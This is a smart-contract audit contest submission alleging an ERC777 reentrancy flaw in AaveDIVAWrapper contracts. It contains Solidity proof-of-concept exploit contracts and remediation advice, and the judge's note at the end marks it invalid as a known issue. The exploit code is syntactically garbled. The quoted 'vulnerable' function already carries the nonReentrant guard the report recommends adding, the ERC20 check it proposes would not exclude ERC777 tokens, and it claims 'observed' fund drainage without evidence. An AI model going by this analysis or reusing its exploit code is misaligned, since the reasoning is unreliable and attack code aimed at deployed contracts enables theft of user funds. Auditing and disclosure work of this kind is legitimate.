HardhatDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

ERC777 Tokens Leading to Reentrancy and Token Locking Vulnerabilities

Summary

The AaveDIVAWrapperCore and AaveDIVAWrapper contracts assume ERC20 compliance for collateral tokens, failing to account for the reentrancy behavior introduced by ERC777 tokens through tokensReceived and tokensToSend hooks. This vulnerability allows attackers to exploit reentrancy during critical operations, such as token registration and liquidity management, resulting in fund drainage, manipulated state variables, and collateral locking.

This report provides a detailed analysis, attack scenarios, and a validated Proof of Concept (PoC) demonstrating the exploitability of the issue.


Detailed Analysis

Root Cause

The contracts do not validate the token standard during registration and fail to safeguard against hooks triggered by ERC777 tokens. Specifically:

  • Lack of Standard Verification: Functions such as _registerCollateralToken do not confirm that tokens comply strictly with ERC20.

  • Unprotected Token Transfers: Functions like batchAddLiquidity and batchRedeemPositionToken interact with tokens without mitigating reentrancy triggered by ERC777 hooks.

Vulnerable Code:

function batchAddLiquidity(AddLiquidityArgs[] calldata _addLiquidityArgs) external override nonReentrant {
uint256 _length = _addLiquidityArgs.length;
for (uint256 i = 0; i < _length; i++) {
_addLiquidity(
_addLiquidityArgs[i].poolId,
_addLiquidityArgs[i].collateralAmount,
_addLiquidityArgs[i].longRecipient,
_addLiquidityArgs[i].shortRecipient
);
}
}
This function iterates over an input array and transfers tokens without mitigating reentrancy risks triggered by malicious ERC777 hooks.

This function iterates over an input array and transfers tokens without mitigating reentrancy risks triggered by malicious ERC777 hooks.


Attack Scenario

Exploit reentrancy via malicious ERC777 token to manipulate state variables or drain funds.

  • Deploy a malicious ERC777 token overriding the tokensReceived hook.

  • Register this malicious token as collateral using registerCollateralToken.

  • Trigger the batchAddLiquidity function, initiating a token transfer.

  • The malicious token’s tokensReceived hook re-enters the function, manipulating internal state or triggering unauthorized actions.

  1. Impact:

    • Fund Drainage: Unauthorized withdrawal of collateral or yields.

    • Collateral Locking: Disruption of liquidity management, leaving collateral inaccessible to legitimate users.


Proof of Concept (PoC)

The ERC777 token overrides the tokensReceived hook to re-enter the vulnerable function.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC777/ERC777.sol";
contract MaliciousERC777 is ERC777 {
address public target;
constructor(address _target) ERC777("MaliciousToken", "MAL", new address target = _target;
}
function tokensReceived(
address,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata
) external {
// Re-enter the target contract during token transfer
if (to == target) {
(bool success, ) = target.call(userData);
require(success, "Reentrancy failed");
}
}
}

Call the registerCollateralToken function to register the malicious token as collateral.

IAaveDIVAWrapper(target).registerCollateralToken(address(maliciousToken));

Exploit Reentrancy

Trigger the batchAddLiquidity function with a payload designed to manipulate state variables during the reentrancy.

contract Exploit {
address public wrapper;
ERC777 public maliciousToken;
constructor(address _wrapper, address _maliciousToken) {
wrapper = _wrapper;
maliciousToken = ERC777(_maliciousToken);
}
function exploit(uint256 amount) external {
// Approve token transfer
maliciousToken.approve(wrapper, amount);
// Trigger batchAddLiquidity
AddLiquidityArgs[] m args[0] = AddLiquidityArgs({
poolId: /* valid poolId */,
collateralAmount: amount,
longRecipient: msg.sender,
shortRecipient: msg.sender
});
// Encode data for reentrancy
bytes memory data = abi.encodeWithSignature("batchAddLiquidity(AddLiquidityArgs[])", args);
maliciousToken.tokensReceived(
address(this),
msg.sender,
wrapper,
amount,
data,
""
);
}
}

Behavior/Outcome:

  1. The malicious token triggers its tokensReceived hook during the batchAddLiquidity function.

  2. The hook re-enters the function, allowing the attacker to:

    • Manipulate state variables (e.g., bypassing collateral checks).

    • Execute unauthorized fund transfers.

Observed Impact:

  • The attacker successfully drains collateral by bypassing standard checks.

  • Internal state variables are manipulated, causing protocol inconsistencies.


Impact

  1. Fund Drainage:

    • Exploited reentrancy allows attackers to withdraw funds unauthorizedly.

  2. Collateral Locking:

    • Malicious operations disrupt liquidity management, locking user funds.

  3. Protocol Instability:

    • Manipulated state variables lead to inconsistent and unpredictable protocol behavior.


Recommendations

1. Restrict Accepted Tokens to ERC20 Standard

Verify token compliance during registration:

function _isERC20(address _token) internal view returns (bool) {
try IERC20Metadata(_token).totalSupply() returns (uint256) {
return true;
} catch {
return false;
}
}
function _registerCollateralToken(address _collateralToken) internal returns (address) {
require(_isERC20(_collateralToken), "Collateral token must be ERC20");
// Continue registration
}

2. Implement Reentrancy Guards on All Functions

Protect functions interacting with tokens using ReentrancyGuard:

function batchAddLiquidity(AddLiquidityArgs[] calldata _args) external override nonReentrant {
// Safe logic here
}

3. Disable Hooks During Transfers

Use low-level calls or OpenZeppelin’s IERC20 interface to bypass hooks:

IERC20(_token).transferFrom(msg.sender, address(this), amount);
Updates

Lead Judging Commences

bube Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.